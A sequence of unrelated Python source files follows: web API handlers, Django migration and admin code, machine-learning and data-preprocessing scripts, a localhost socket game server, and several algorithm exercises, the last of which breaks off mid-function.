d={}
with open("productdata.txt") as fh:
    for line in fh:
        line.rstrip('\n')
        lst=line.split(':')
        if lst[3] in d.keys():
            d[lst[3]]=d[lst[3]]+int(lst[4])
        else:
            d[lst[3]]=int(lst[4])
print(d)


"""
Define the REST verbs relative to the MenuItems
"""

from flask_restful import Resource
from flask_restful import reqparse

parser = reqparse.RequestParser()

parser.add_argument('id',location=['form'], type=str, help='')
parser.add_argument('name',location=['form'], type=str, help='')
parser.add_argument('menu_items',location=['form'], type=str,action='append', help='')

from flask.json import jsonify
from app.models.menuItem_models import *
from app.models.employee_models import *
import json

class MenuResource(Resource):
    """Verbs relative to a menu item"""

    def get(self):
        pass

    def post(self):
        """ Create a menu based on the posted information """
        args = parser.parse_args()
        if(args.name):
            m = Menu.query.filter(Menu.name==args.name).first()
            if(not m):
                m = Menu(name=args.name)
                db.session.add(m)
                db.session.commit()
                for item_id in args.menu_items:
                    mi = MenuItems(menu_id=m.id,item_id=item_id)
                    db.session.add(mi)
                db.session.commit()
                return m.toDict()
            return m.toDict()
        else:
            return {}

    def delete(self):
        args = parser.parse_args()
        if(not(args.name) and not(args.id)):
            print("DELETING")
            return {}
        elif(args.id):
            m = Menu.query.get(args.id)
            db.session.delete(m)
            db.session.commit()
            return m.toDict()
        else:
            m = Menu.query.filter(Menu.name==args.name).first()
            db.session.delete(m)
            db.session.commit()
            return m.toDict()
        return {}

    def put(self):
        args = parser.parse_args()
        print(args)
        if(args.id):
            m = Menu.query.get(args.id)
            mis = MenuItems.query.filter(MenuItems.menu_id==m.id).all()
            for key,val in args.items():
                if(hasattr(m,key)):
                    setattr(m,key,val)
            for mi in mis:
                db.session.delete(mi)
            for i in args.menu_items:
                mi = MenuItems(menu_id=m.id,item_id=i)
                db.session.add(mi)

                #     db.session.delete(mi)
            db.session.commit()
            return m.toDict()

        return {}


from .specter import Specter
from .shell import SpecterShell
from .Debugger import Debugger

import curses

KEY_RIGHT = curses.KEY_RIGHT
KEY_LEFT  = curses.KEY_LEFT
KEY_UP    = curses.KEY_UP
KEY_DOWN  = curses.KEY_DOWN
KEY_ESC   = 27
KEY_ENTER = 10

__copyright__ = 'Copyright 2016 by Moreels Pieter-Jan'
__version__ = '0.2.1'
__license__ = 'BSD'
__author__ = 'Moreels Pieter-Jan'
__email__ = 'pieterjan.moreels@gmail.com'
__source__ = 'https://github.com/pidgeyl/pidgeyl'


# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import models, migrations

class Migration(migrations.Migration):

    dependencies = [
        ('radio', '0002_auto_20150706_0844'),
    ]

    operations = [
        migrations.CreateModel(
            name='RadioItem',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('title', models.CharField(max_length=150)),
                ('link', models.CharField(max_length=255)),
            ],
        ),
        migrations.RemoveField(
            model_name='choice',
            name='question',
        ),
        migrations.DeleteModel(
            name='RadioPost',
        ),
        migrations.DeleteModel(
            name='Choice',
        ),
        migrations.DeleteModel(
            name='Question',
        ),
    ]


from collections import defaultdict as dict
n, s = map(int, input().split())
seq = list(map(int, input().split()))

left = seq[:n // 2]
right = seq[n // 2:]

left_dict = dict(int)
right_dict = dict(int)
left_dict[0] = 1
right_dict[0] = 1

def check(seq, dictionary, sum):
    if not seq:
        return

    dictionary[sum + seq[0]] += 1

    check(seq[1:], dictionary, sum + seq[0])
    check(seq[1:], dictionary, sum)

check(left, left_dict, 0)
check(right, right_dict, 0)
count = 0
for i in left_dict:
    if (s - i) in right_dict:
        count += left_dict[i] * right_dict[s-i]
if s == 0:
    count -= 1
print(count)


# Data Preprocessing Template

# Importing the libraries
import numpy as np
import matplotlib.pyplot as plt
import pandas as pd

# Importing the dataset
dataset = pd.read_csv('Mall_Customers.csv')
X = dataset.iloc[:, [3,4]].values
y = dataset.iloc[:, 3].values

# Splitting the dataset into the Training set and Test set
from sklearn.model_selection import train_test_split
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.2, random_state = 0)

# Feature Scaling
"""from sklearn.preprocessing import StandardScaler
sc_X = StandardScaler()
X_train = sc_X.fit_transform(X_train)
X_test = sc_X.transform(X_test)
sc_y = StandardScaler()
y_train = sc_y.fit_transform(y_train)"""

#find num clusters
from sklearn.cluster import KMeans
wcss = []
for i in range(1,11):
    kmeans = KMeans(n_clusters = i, init= 'k-means++', max_iter = 300, n_init = 10, random_state =0)
    kmeans.fit(X)
    wcss.append(kmeans.inertia_)

plt.plot(range(1,11), wcss)

#apply num clus = 5
kmeans = KMeans(n_clusters = 5, init= 'k-means++', max_iter = 300, n_init = 10, random_state =0)
y_kmeans = kmeans.fit_predict(X)

#visualize
plt.scatter(X[y_kmeans == 0, 0], X[y_kmeans == 0, 1], s =100, c = 'red', label = 'clus0')
plt.scatter(X[y_kmeans == 1, 0], X[y_kmeans == 1, 1], s =100, c = 'blue', label = 'clus1')
plt.scatter(X[y_kmeans == 2, 0], X[y_kmeans == 2, 1], s =100, c = 'green', label = 'clus2')
plt.scatter(X[y_kmeans == 3, 0], X[y_kmeans == 3, 1], s =100, c = 'black', label = 'clus3')
plt.scatter(X[y_kmeans == 4, 0], X[y_kmeans == 4, 1], s =100, c = 'orange', label = 'clus4')
plt.scatter(kmeans.cluster_centers_[:,0], kmeans.cluster_centers_[:,1], s =300, c = 'magenta', label = 'centroids')
plt.title('clusters')
plt.show()

Part 4 - Clustering/Section 24 - K-Means Clustering/K_Means/my_K_Means_clustering.py


from __future__ import division
from django.conf import settings
from django.contrib import admin
from django import forms
from ballot_box.models import *
from newscast.models import *
import logging

logger = logging.getLogger("kpcc_backroom_handshakes")

class ContestForm(forms.ModelForm):
    def __init__(self, *args, **kwargs):
        super(ContestForm, self).__init__(*args, **kwargs)
        contests = Contest.objects.filter(election__electionid="primary-2017-03-07").order_by("contestname")
        w = self.fields['contest'].widget
        choices = []
        for item in contests:
            if item.is_ballot_measure == False:
                choices.append((item.id, item.contestname))
            else:
                for measure in item.ballotmeasure_set.all():
                    measure.fullname = "%s (%s)" % (measure.fullname, item.contestname)
                    choices.append((item.id, measure.fullname))
        w.choices = choices

class TopicAdmin(admin.ModelAdmin):
    list_display = (
        "topicname",
        "election",
        "created",
    )
    list_per_page = 15
    list_filter = ("topicname",)
    ordering = ("topicname",)
    save_on_top = True
    save_as = True
    filter_horizontal = ("contest",)
    form = ContestForm
    prepopulated_fields = {
        "topicslug": ("topicname",)
    }
    fields = (
        "election",
        "contest",
        "topicname",
        "topicslug",
        "description",
    )

class ContextAdmin(admin.ModelAdmin):
    list_display = (
        "contestid",
        "election",
    )
    list_per_page = 15
    list_filter = ("election",)
    search_fields = ("contestid",)
    ordering = ("contestid",)
    save_on_top = True
    save_as = True
    fields = (
        "election",
        "contestid",
        "cities_counties_list",
        "description",
    )

class DataNuggetAdmin(admin.ModelAdmin):
    list_display = (
        "scope",
        "nugget_date",
        "nugget_source",
        "nugget_tags",
        "election",
    )
    list_per_page = 15
    list_filter = ("election", "nugget_source",)
    search_fields = ("nugget_text",)
    ordering = ("nugget_date",)
    save_on_top = True
    save_as = True
    fields = (
        "election",
        "scope",
        "nugget_text",
        "nugget_date",
        "nugget_source",
        "nugget_link",
        "nugget_tags",
    )

admin.site.register(Topic, TopicAdmin)
admin.site.register(ContestContext, ContextAdmin)
admin.site.register(DataNugget, DataNuggetAdmin)


# -*- coding: utf-8 -*-

from flask import request
from functools import wraps
import json
from lib.db.container import ResponseEncoder
from lib.db.transform import get_container_pointer
from lib.db import Admin, Merchant, BankCard, BankAccount, MerchantKey, AdminKey

from lib.api.keys import PROCESSOR_KEY, OBJECT_ID
from lib.api.error import RequestError, MissingKeyError, InvalidKeyError, DanglingKeyError, RequiredArgumentError, ForbiddenArgumentError, InvalidArgumentError, ValidationError, InternalError

def sanitize(data, safe_chars):
  safe = ""
  for i, ele in enumerate(data):
    if i + safe_chars < len(data):
      safe += 'x'
    else:
      safe += ele
  return safe

def sanitize_container(input):
  if isinstance(input, BankAccount):
    del input.aba
    input.number = sanitize(input.number, 2)
    return input

  elif isinstance(input, BankCard):
    del input.exp_month
    del input.exp_year
    del input.cvc
    input.number = sanitize(input.number, 4)
    return input
  return input

def out(input):
  base = {}

  if isinstance(input, list):
    o = []
    for element in input:
      o.append(sanitize_container(element).to_dict())
    return json.dumps(o, sort_keys=True, indent=2, cls=ResponseEncoder)+"\n"

  elif isinstance(input, RequestError):
    return input.to_json()

  elif isinstance(input, Exception):
    errors = []
    for item in input.args:
      errors.append(item)

    base["errors"] = errors

    return json.dumps(base, sort_keys=True, indent=2, cls=ResponseEncoder)+"\n"

  return sanitize_container(input).to_json()+"\n"

class Response:
  def __init__(self, log):
    self.log = log

  def api_request(self, key_type=MerchantKey):
    def _api_request(function):
      @wraps(function)
      def __api_request(*args, **kw):

        try:
          assert key_type in [AdminKey, MerchantKey]
        except:
          error = InternalError("Supplied key type %s not a valid key for an api_request" % key_type.__name__)
          self.log['request'].critical(error.log())
          return out(error), 500

        request._items = {}
        for key in request.args:
          request._items[key] = request.args[key]
        for key in request.form:
          request._items[key] = request.form[key]

        if request._items.has_key(OBJECT_ID):
          request._items[OBJECT_ID] = get_container_pointer(request._items[OBJECT_ID])

        request.user = None
        request.query = {}

        if request._items.has_key(PROCESSOR_KEY) is False:
          error = MissingKeyError()
          self.log['request'].debug(error.log())
          return out(error), 400

        request.processor_key = key_type.find_one({"key" : request._items[PROCESSOR_KEY]})
        request._items["key_type"] = key_type.__name__

        if request.processor_key is None:
          error = InvalidKeyError()
          self.log['request'].debug(error.log())
          return out(error), 400
        elif request.processor_key.has_key('_merchant'):
          request.user = Merchant.find_one({"_id" : get_container_pointer(request.processor_key._merchant)})
        elif request.processor_key.has_key('_admin'):
          request.user = Admin.find_one({"_id" : get_container_pointer(request.processor_key._admin)})

        if request.user is None:
          error = DanglingKeyError()
          self.log['request'].critical(error.log())
          return out(error), 500
        elif isinstance(request.user, Merchant):
          request.query['_merchant'] = request.user._id

        del request._items['_key']
        del request._items['key_type']

        return function(*args, **kw)
      return __api_request
    return _api_request

  def api_resource(self, t):
    def _api_resource(function):
      @wraps(function)
      @self.api_get(t)
      @self.api_post(t)
      @self.api_put(t)
      @self.api_delete(t)
      def __api_resource(*args, **kw):
        return function(*args, **kw)
      return __api_resource
    return _api_resource

  def api_get(self, t):
    def _api_get(function):
      @wraps(function)
      @self.args_required([], method="GET")
      @self.args_forbidden(['_merchant'], method="GET")
      def __api_get(*args, **kw):

        if request.method == 'GET':
          self.log['request'].debug("%s[%s]: %s on %s with items %s" % (request.user.email, request.user._id, request.method, request.path, repr(request._items)))

          errors = []
          for key in request._items:
            if key != PROCESSOR_KEY and key != OBJECT_ID and t.safe_member(key):
              data = request._items[key]

              v, d, e, a = t.validate_member(key, data)
              if v is not None:
                if v is False:
                  error = ValidationError(TypeError(a))
                  self.log['request'].debug(error.log())
                  errors.append(error)
                  continue
                else:
                  data = d
              request.query[key] = data

          if len(errors) > 0:
            return out(errors), 400

          self.log['request'].debug("%s[%s]: %s on %s with query %s" % (request.user.email, request.user._id, request.method, request.path, repr(request.query)))

          obj = t.find(request.query)

          if obj is None:
            error = RequestError()
            self.log['request'].critical(error.log())
            return out(error), 400
          else:
            self.log['request'].debug("%s[%s]: %s on %s with query %s SUCCESS" % (request.user.email, request.user._id, request.method, request.path, repr(request._items)))
            return out(obj)
        return function(*args, **kw)
      return __api_get
    return _api_get

  def api_post(self, t):
    def _api_post(function):
      @wraps(function)
      @self.args_required([], method="POST")
      @self.args_forbidden(['_merchant', '_id'], method="POST")
      def __api_post(*args, **kw):

        if request.method == 'POST':
          self.log['request'].debug("%s[%s]: %s on %s with items %s" % (request.user.email, request.user._id, request.method, request.path, repr(request._items)))

          obj = t()
          obj['_merchant'] = request.user._id

          if request.query.has_key('_id'):
            obj['_id'] = request.query['_id']

          for key in request._items:
            if key != PROCESSOR_KEY and t.safe_member(key):
              obj[key] = request._items[key]

          self.log['request'].debug("%s[%s]: %s on %s with query %s" % (request.user.email, request.user._id, request.method, request.path, repr(obj)))

          try:
            obj._validate()
          except Exception as e:
            error = ValidationError(e)
            self.log['request'].debug(error.log())
            return out(error), 400

          obj.save()

          self.log['request'].debug("%s[%s]: %s on %s with query %s SUCCESS" % (request.user.email, request.user._id, request.method, request.path, repr(request._items)))

          return out(obj)
        return function(*args, **kw)
      return __api_post
    return _api_post

  def api_put(self, t):
    def _api_put(function):
      @wraps(function)
      @self.args_required(['_id'], method="PUT")
      @self.args_forbidden(['_merchant'], method="PUT")
      @self.selects_one(t)
      def __api_put(*args, **kw):

        if request.method == 'PUT':
          self.log['request'].debug("%s[%s]: %s on %s with items %s" % (request.user.email, request.user._id, request.method, request.path, repr(request._items)))

          for key in request._items:
            if key != PROCESSOR_KEY and t.safe_member(key):
              request.selected_object[key] = request._items[key]

          try:
            request.selected_object._validate()
          except Exception as e:
            error = ValidationError(e)
            self.log['request'].debug(error.log())
            return out(error), 400

          request.selected_object.save()

          self.log['request'].debug("%s[%s]: %s on %s with query %s SUCCESS" % (request.user.email, request.user._id, request.method, request.path, repr(request._items)))

          return out(request.selected_object)
        return function(*args, **kw)
      return __api_put
    return _api_put

  def api_delete(self, t):
    def _api_delete(function):
      @wraps(function)
      @self.args_required(['_id'], method="DELETE")
      @self.args_forbidden([], method="DELETE")
      @self.selects_one(t)
      def __api_delete(*args, **kw):

        if request.method == 'DELETE':
          self.log['request'].debug("%s[%s]: %s on %s with items %s" % (request.user.email, request.user._id, request.method, request.path, repr(request._items)))

          request.selected_object.delete()

          self.log['request'].debug("%s[%s]: %s on %s with query %s SUCCESS" % (request.user.email, request.user._id, request.method, request.path, repr(request._items)))
          return out(request.selected_object)
        return function(*args, **kw)
      return __api_delete
    return _api_delete

  def args_required(self, required_args, method):
    def _args_required(function):
      @wraps(function)
      def __args_required(*args, **kw):

        if request.method == method:
          for arg in required_args:
            if request._items.has_key(arg) is False:
              error = RequiredArgumentError(arg)
              self.log['request'].debug(error.log())
              return out(error), 400

        return function(*args, **kw)
      return __args_required
    return _args_required

  def args_forbidden(self, forbidden_args, method):
    def _args_forbidden(function):
      @wraps(function)
      def __args_forbidden(*args, **kw):

        if request.method == method:
          for arg in forbidden_args:
            if request._items.has_key(arg):
              error = ForbiddenArgumentError(arg)
              self.log['request'].debug(error.log())
              return out(error), 400

        if request._items.has_key(OBJECT_ID):
          request.query['_id'] = request._items[OBJECT_ID]

        return function(*args, **kw)
      return __args_forbidden
    return _args_forbidden

  def selects_one(self, t):
    def _selects_one(function):
      @wraps(function)
      def __selects_one(*args, **kw):

        obj = t.find_one({"_id" : request.query[OBJECT_ID]})

        if obj is None:
          error = InvalidArgumentError('_id')
          self.log['request'].debug(error.log())
          return out(error), 400
        try:
          assert obj['_merchant'] == request.user._id
        except:
          error = InvalidArgumentError('_id')
          self.log['request'].critical(error.log())
          return out(error), 400

        request.selected_object = obj
        return function(*args, **kw)
      return __selects_one
    return _selects_one


# socket サーバを作成

import socket
import threading
import random
import sys
import struct

# IPアドレス
host = "127.0.0.1"

# ポート番号
port = 8080

# 接続最大数
maxclient = 5

# クライアント情報
clients = []

# ポイント
point = [0] * 5

# ユーザそれぞれが拡張機能を送信したかを確認する
exp_count = [0] * 5

# 終了判定に用いるユーザ
user_judg = 0

# ユーザ毎の受信カウンタ
user_counter = []

# 終了する受信回数
end_counter = 3

# 拡張機能のOn・Off
exp_Flag = False

# アタリとハズレの設定
hit = random.randint(0, 99)
blank = random.randint(0, 99)
if hit == blank:
    hit += 1
elif hit == 99:
    blank -= 1
elif hit == 0:
    blank += 1

# クライアントと接続を切る
def remove_conection(con, address):
    userid = clients.index((con, address))
    print("[切断] ユーザID{}".format(userid))
    con.close()
    clients.remove((con, address))

# サーバをスタートする
def server_start():
    # AF = IPv4 という意味
    # TCP/IP の場合は、SOCK_STREAM を使う
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        # IPアドレスとポートを指定
        s.bind((host, port))
        # 接続
        s.listen(maxclient)
        # connection するまで待つ
        counter = 0
        while counter < maxclient:
            # クライアントと接続。返り値は2つ返ってくる
            con, address = s.accept()
            counter += 1
            # クライアントの情報をリストに格納
            global clients
            clients.append((con, address))
            # ユーザーごとの数字を送ってきた回数をリストに格納
            global user_counter
            user_counter.append(0)
            userid = clients.index((con, address))
            print("[接続] ユーザID{}".format(userid))

            # ユーザーごとのポイント
            # global point
            # point.append(0)

        game_start()

# クライアントからデータを受信する
def handler(con, address):
    # ユーザIDの取得
    userid = clients.index((con, address))
    # 特定のユーザがendcounter回回答を送信したら終了する
    while user_counter[user_judg] < end_counter:
        try:
            # データを受け取る最大6byte
            data = con.recv(6)
            recvdata = struct.unpack("<BBBBBB", data)

            print("[受信] ユーザID{} が”{}”と入力しました。".format(userid, recvdata[0]))
            print("拡張機能の入力: {}".format(recvdata[1]))

            # 入力された数値
            exp = 0
            exp = int(recvdata[1])
            if exp == 1:
                exp_count[userid] = 1

            if recvdata[0] == hit:  # 当たりの時
                point[userid] += 10
                x = judgment(point[userid])
                point[userid] = x
                print('ユーザID{} がアタリを引きました. ユーザID{}の得点= {}'.format(
                    userid, userid, point[userid]))
            elif recvdata[0] == blank:  # ハズレの時
                point[userid] -= 10
                x = judgment(point[userid])
                point[userid] = x
                print('ユーザID{} がハズレを引きました. ユーザID{}の得点= {}'.format(
                    userid, userid, point[userid]))
            elif recvdata[0] != hit and recvdata[5] != blank:  # その他の時
                point[userid] -= 1
                x = judgment(point[userid])
                point[userid] = x
                print("ユーザID{} がその他を引きました. ユーザID{}の得点 = {}".format(
                    userid, userid, point[userid]))

            for c in clients:
                # c[0].sendto(get_senddata(con, address, 1, recvdata[0]), c[1])
                c[0].sendto(get_senddata(c[0], c[1], 1, recvdata[0]), c[1])
            user_counter[userid] += 1

        except ConnectionResetError:
            remove_conection(con, address)
            break
        except struct.error:
            break
    end_game()

def judgment(point):
    check = point
    checked = 0
    if check > 255:
        check = 255
        checked = check
    elif check < 0:
        check = 0
        checked = check
    else:
        checked = check
    return checked

# ゲーム開始
def game_start():
    print('\nゲームを開始します.')
    # クライアント数を取得
    client_num = len(clients)
    # 終了判定に用いるユーザをランダム選択
    global user_judg
    user_judg = random.randint(0, client_num-1)
    print("終了判定はユーザID{}で行います.\n".format(user_judg))

    # print(point)

    for c in clients:
        # スレッド処理開始
        handle_thread = threading.Thread(target=handler,
                                         args=(c[0], c[1]),
                                         daemon=True)
        handle_thread.start()

        # print(c)

        c[0].sendto(get_senddata(c[0], c[1], 0, 0), c[1])
        # c[0].sendto(b'get_senddata(c[0], c[1], 0, 0)')

    handle_thread.join()

# ゲーム終了
def end_game():
    global clients
    global exp_Flag
    global exp_count

    if exp_Flag == True:
        if exp_count[0] == 1:
            point[0] = 255
        if exp_count[1] == 1:
            point[1] = 255
        if exp_count[2] == 1:
            point[2] = 255
        if exp_count[3] == 1:
            point[3] = 255
        if exp_count[4] == 1:
            point[4] = 255

    print("ゲームを終了します.")

    for c in clients:  # クライアントに終了を伝える
        c[0].sendto(get_senddata(c[0], c[1], 128, 0), c[1])

# 送信データを返す。判定時のみnumberを使用。それ以外の時は無視する。
def get_senddata(con, address, w_type, number):
    # ユーザIDを取得
    userid = clients.index((con, address))
    g = number

    p = point[userid]
    w = w_type
    x = 0
    y = 0
    z = 0
    a = 0
    b = 0

    if w_type == 0:  # ゲーム開始
        x = 0
        y = 0
        z = 0
        a = 0
        b = 0

    elif w_type == 1:  # 判定
        if userid == 0:
            x = p
            y = point[1]
            z = point[2]
            a = point[3]
            b = point[4]
        elif userid == 1:
            x = p
            y = point[0]
            z = point[2]
            a = point[3]
            b = point[4]
        elif userid == 2:
            x = p
            y = point[0]
            z = point[1]
            a = point[3]
            b = point[4]
        elif userid == 3:
            x = p
            y = point[0]
            z = point[1]
            a = point[2]
            b = point[4]
        elif userid == 4:
            x = p
            y = point[0]
            z = point[1]
            a = point[2]
            b = point[3]
    elif w_type == 128:  # 終了
        if userid == 0:
            x = p
            y = point[1]
            z = point[2]
            a = point[3]
            b = point[4]
        elif userid == 1:
            x = p
            y = point[0]
            z = point[2]
            a = point[3]
            b = point[4]
        elif userid == 2:
            x = p
            y = point[0]
            z = point[1]
            a = point[3]
            b = point[4]
        elif userid == 3:
            x = p
            y = point[0]
            z = point[1]
            a = point[2]
            b = point[4]
        elif userid == 4:
            x = p
            y = point[0]
            z = point[1]
            a = point[2]
            b = point[3]

    data = struct.pack("<BBBBBB", w, x, y, z, a, b)
    return data

if __name__ == "__main__":
    print("アタリ：{}, ハズレ：{}".format(hit, blank))
    print("拡張機能をOnにしますか?\n0 (On) or 1 (Off)")
    num = int(input())
    if num == 0:
        print("On\n")
        exp_Flag = True
    elif num == 1:
        print("Off\n")
        exp_Flag = False
    else:
        print("その他が入力されました.\n拡張機能はOffです.\n")
        exp_Flag = False

    server_start()

    socket.close
    sys.exit


# Script to pre-process and create a training and test set from the MovieLens20M data set
# Difference to the pre_process.py is that this script allows users to appear in both
# the test and training set, just like they do in the course!
# I think this way of splitting the data up actually makes a lot more sense,
# also, it removed the problem of leakage in the user-user approach.
#
# I want to see how this affects my results.
# (I will also need to rewrite the collaborative filtering scripts a little bit)

import pandas as pd
import numpy as np
np.random.seed(0)
import argparse

# Parse arguments
parser = argparse.ArgumentParser(description='Pre-process MovieLens20M data set and split into train and test set.')
parser.add_argument('n_users', metavar='n_users_train', type=int,
                    help='Number of users to put keep')
parser.add_argument('n_movies', metavar='n_movies', type=int,
                    help='Number of movies to consider for recommendations')
parser.add_argument('output_name', metavar='output_name', type=str,
                    help='Nambe of the dataset being output')

args = parser.parse_args()

n_users = args.n_users
n_movies = args.n_movies
output_name = args.output_name

movielens_df = pd.read_csv('large_files/rating.csv')
movielens_df.drop(columns=['timestamp'])

# Only keep the movies with the most ratings
top_most_rated_movies = movielens_df['movieId'].value_counts()
top_movies = top_most_rated_movies[:n_movies].index.values
top_movies_df = movielens_df.loc[movielens_df.loc[:,'movieId'].isin(top_movies),:]
print("We are down to %.2f %% of all reviews" % (100 * top_movies_df.shape[0] / movielens_df.shape[0]))

# Keep a random subset of users
user_ids = top_movies_df['userId'].unique()
users_to_keep = np.random.choice(user_ids, n_users, replace=False)

# Keep only selected users
reduced_df = top_movies_df.loc[top_movies_df.loc[:,'userId'].isin(users_to_keep),:].copy()

# Re-label users and movies to range 0..n
user_ids = dict(zip(reduced_df.loc[:,'userId'].unique(), range(reduced_df.loc[:,'userId'].nunique())))
movie_ids = dict(zip(top_movies, range(len(top_movies))))

reduced_df.loc[:,'newUserId'] = reduced_df.loc[:,'userId'].apply(lambda x: user_ids[x])
reduced_df.loc[:,'newMovieId'] = reduced_df.loc[:,'movieId'].apply(lambda x: movie_ids[x])

reduced_df = reduced_df.sample(frac=1)
train_set_size = int(.8 * len(reduced_df))
train_df, test_df = reduced_df[:train_set_size], reduced_df[train_set_size:]
print("Training set consists of %.2f %% of all reviews" % (100 * train_df.shape[0] / movielens_df.shape[0]))
print("Test set consists of %.2f %% of all reviews" % (100 * test_df.shape[0] / movielens_df.shape[0]))

train_df.to_csv('large_files/%s_shared_users_train.csv' % output_name, index=False)
test_df.to_csv('large_files/%s_shared_users_test.csv' % output_name, index=False)


"""
This file computes metrics for a chosen checkpoint. By default, it computes SIFID (at lowest InceptionV3 scale),
LPIPS diversity, LPIPS distance to training data, mIoU (in case segmentation masks are used).
The results are saved at /${checkpoints_dir}/${exp_name}/metrics/
For SIFID, LPIPS_to_train, mIoU, and segm accuracy, the metrics are computed per each image.
LPIPS, mIoU and segm_accuracy are also computed for the whole dataset.
"""

import os
import argparse
import numpy as np
import pickle
import torch
from PIL import Image
from torchvision.transforms import ToTensor
from metrics import SIFID, LPIPS, LPIPS_to_train, mIoU

parser = argparse.ArgumentParser()
parser.add_argument('--checkpoints_dir', type=str, default='checkpoints')
parser.add_argument('--exp_name', type=str, required=True)
parser.add_argument('--epoch', type=str, required=True)
parser.add_argument('--sifid_all_layers', action='store_true')
args = parser.parse_args()

print("--- Computing metrics for job %s at epoch %s ---" %(args.exp_name, args.epoch))

def convert_sifid_dict(names_fake_image, sifid):
    ans = dict()
    for i, item in enumerate(names_fake_image):
        ans[item] = sifid[i]
    return ans

exp_folder = os.path.join(args.checkpoints_dir, args.exp_name, "evaluation", args.epoch)
if not os.path.isdir(exp_folder):
    raise ValueError("Generated images not found. Run the test script first. (%s)" % (exp_folder))

# --- Read options file from checkpoint --- #
file_name = os.path.join(args.checkpoints_dir, args.exp_name, "opt.pkl")
new_opt = pickle.load(open(file_name, 'rb'))
no_masks = getattr(new_opt, "no_masks")
dataroot = getattr(new_opt, "dataroot")
dataset_name = getattr(new_opt, "dataset_name")
path_real_images = os.path.join(dataroot, dataset_name, "image")
if not no_masks:
    path_real_masks = os.path.join(dataroot, dataset_name, "mask")

# --- Prepare files and images to compute metrics --- #
names_real_image = sorted(os.listdir(path_real_images))
if not no_masks:
    names_real_masks = sorted(os.listdir(path_real_masks))
names_fake = sorted(os.listdir(os.path.join(exp_folder)))
names_fake_image = [item for item in names_fake if "mask" not in item]
if not no_masks:
    names_fake_masks = [item[:-4]+"_mask"+item[-4:] for item in names_fake_image]
list_real_image, list_fake_image = list(), list()
for i in range(len(names_fake_image)):
    im = (Image.open(os.path.join(exp_folder, names_fake_image[i])).convert("RGB"))
    list_fake_image += [im]
im_res = (ToTensor()(list_fake_image[0]).shape[2], ToTensor()(list_fake_image[0]).shape[1])
for i in range(len(names_real_image)):
    im = (Image.open(os.path.join(path_real_images, names_real_image[i])).convert("RGB"))
    list_real_image += [im.resize(im_res, Image.BILINEAR)]

# --- Compute the metrics --- #
with torch.no_grad():
    sifid1, sifid2, sifid3, sifid4 = SIFID(list_real_image, list_fake_image, args.sifid_all_layers)
    lpips = LPIPS(list_fake_image)
    dist_to_tr, dist_to_tr_byimage = LPIPS_to_train(list_real_image, list_fake_image, names_fake_image)
if not no_masks:
    miou_tensor, miou_byimage, acc_byimage = mIoU(path_real_images, names_real_image, path_real_masks, names_real_masks,
         exp_folder, names_fake_image, names_fake_masks, im_res)

# --- Save the metrics under .${exp_name}/metrics --- #
save_fld = os.path.join(args.checkpoints_dir, args.exp_name, "metrics")
os.makedirs(save_fld, exist_ok=True)

sifid1 = convert_sifid_dict(names_fake_image, sifid1)
np.save(os.path.join(save_fld, str(args.epoch))+"SIFID1", sifid1)
if sifid2 is not None:
    sifid2 = convert_sifid_dict(names_fake_image, sifid2)
    np.save(os.path.join(save_fld, str(args.epoch))+"SIFID2", sifid2)
if sifid3 is not None:
    sifid3 = convert_sifid_dict(names_fake_image, sifid3)
    np.save(os.path.join(save_fld, str(args.epoch))+"SIFID3", sifid3)
if sifid4 is not None:
    sifid4 = convert_sifid_dict(names_fake_image, sifid4)
    np.save(os.path.join(save_fld, str(args.epoch))+"SIFID4", sifid4)
np.save(os.path.join(save_fld, str(args.epoch))+"lpips", lpips.cpu())
np.save(os.path.join(save_fld, str(args.epoch))+"dist_to_tr", dist_to_tr.cpu())
np.save(os.path.join(save_fld, str(args.epoch))+"dist_to_tr_byimage", dist_to_tr_byimage)
if not no_masks:
    # format for segm_miou_accuracy is 1) Accuracy (val->tr) 2) mIoU (val->tr) 4) Accuracy (tr->val) 5) mIoU (tr->val)
    np.save(os.path.join(save_fld, str(args.epoch))+"segm_miou_accuracy", miou_tensor)
    np.save(os.path.join(save_fld, str(args.epoch))+"segm_accuracy_byimage", acc_byimage)
    np.save(os.path.join(save_fld, str(args.epoch))+"segm_miou_byimage", miou_byimage)
print("--- Saved metrics at %s ---" % (save_fld))


import sys
for i in range(1, 6):
    sys.stdin = open("./PS/source/in{}.txt".format(i))
    sys.setrecursionlimit(10**6)

    def DFS(n):
        if dy[n] > 0:
            return dy[n]
        if n == 1 or n == 2:
            return n
        else:
            dy[n] = DFS(n-1)+DFS(n-2)
            return dy[n]

    if __name__ == "__main__":
        n = int(input())
        dy = [0] * (n+1)
        DFS(n)
        print(dy[n])


#!/usr/bin/env python3
#
# This script runs SOFT on the 'pi' file located in the same directory as this
# script, parses the output and fetches the value of the resulting integral.
# This value is then compared to the analytically known value of the volume for
# a torus (to which the unit distribution function should integrate).
#
# NOTE: This script must be run from the directory in which the file is located.

import numpy as np
import subprocess
import sys

def main():
    p = subprocess.Popen(['../../build/src/soft', 'pi'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    outp = p.communicate()

    stdout_data = outp[0].decode('utf-8')
    stderr_data = outp[1].decode('utf-8')

    if p.returncode != 0:
        print(stderr_data)
        raise RuntimeError('SOFT exited with a non-zero exit code.')

    V_soft = 0
    lines = stdout_data.split('\n')
    for line in lines:
        if line.strip()[:9] == 'Integral:':
            V_soft = float(line.split(' ')[-1])
            break

    # Magnetic field parameters
    R = 0.68        # Major radius
    a = 0.22 * 0.5  # Minor radius
    V = 2*np.pi**2 * R * a**2

    print('V_soft   = {},  V = {}'.format(V_soft, V))
    print('Ratio    = {}'.format(V_soft/V))

    return 0

if __name__ == '__main__':
    sys.exit(main())


import os
import csv

fpath = os.path.join('C:\\Users\Rick Lenderink\Documents', "testFile.txt")
csvpath = os.path.join('C:\\Users\Rick Lenderink\Documents', "testCsv.csv")

temp = open(fpath).read().splitlines()

# for element in temp:
#     print(element)

with open(csvpath, "w", newline='') as f:
    writer = csv.writer(f)
    for element in temp:
        writer.writerow([element])


class Solution:
    def eraseOverlapIntervals(self, intervals: List[List[int]]) -> int:
        intervals.sort(key=lambda interval:interval[1])
        count, prev = 0, float('-inf')

        for interval in intervals:
            if interval[0] > prev:
                prev = interval[1]
            else:
                count += 1
        return count


from json import load, JSONDecodeError

def json_loader(filedir): # collect data from main json database
    try:
